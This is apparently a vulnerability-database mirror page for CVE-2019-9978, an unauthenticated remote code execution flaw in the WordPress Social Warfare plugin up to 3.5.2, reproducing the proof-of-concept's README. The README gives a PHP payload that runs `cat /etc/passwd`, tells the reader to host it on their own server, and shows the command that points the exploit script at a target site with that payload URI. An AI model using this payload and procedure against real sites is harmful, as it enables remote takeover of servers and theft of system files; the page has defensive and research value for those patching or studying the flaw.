Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-9978 PoC — WordPress social-warfare插件跨站脚本漏洞

Source
Associated Vulnerability
Title:WordPress social-warfare插件跨站脚本漏洞 (CVE-2019-9978)
Description:WordPress是WordPress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。social-warfare plugin是使用在其中的一个社交平台分享插件。 WordPress social-warfare插件3.5.3之前版本中存在跨站脚本漏洞。远程攻击者可借助‘swp_url’参数利用该漏洞注入恶意的JavaScript脚本。
Description
CVE-2019-9978 - (PoC) RCE in Social WarFare Plugin (<=3.5.2)
Readme
# CVE-2019-9978
CVE-2019-9978 - (PoC) RCE in Social WarFare Plugin (&lt;=3.5.2)

## Description
Unauthenticated remote code execution has been discovered in functionality that handles settings import. A user can leverage the use of RFI to RCE. 

## PoC
Copy the following payload: 
```
<pre>system('cat /etc/passwd')</pre>
```
Save it with filename: `payload.txt` and upload it on a server. The URI should look like: `http(s)://yoursite.com/payload.txt`. Finally, supply your `--target` and `--payload-uri` options: 

```
$ python cve-2019-9978.py --target http://vulntarget.com \
                         --payload-uri http://yourpayloadsite.com/payload.txt

```
![Screenshot at 2019-05-03 11-15-02](https://user-images.githubusercontent.com/29171692/57122079-c50c0f00-6d94-11e9-8469-671685d0dbe7.png)

## Credits
Researcher: Luka Sikic<br>
Link: https://wpvulndb.com/vulnerabilities/9259?fbclid=IwAR2xLSnanccqwZNqc2c7cIv447Lt80mHivtyNV5ZXGS0ZaScxIYcm1XxWXM<br>
Author: [@hash3liZer](https://twitter.com/hash3liZer)<br>
File Snapshot

[4.0K] /data/pocs/ecdc7ad0d2d8fb41189cc11fae20974a64d38d26 ├── [1.6K] cve-2019-9978.py ├── [ 11K] LICENSE └── [1021] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.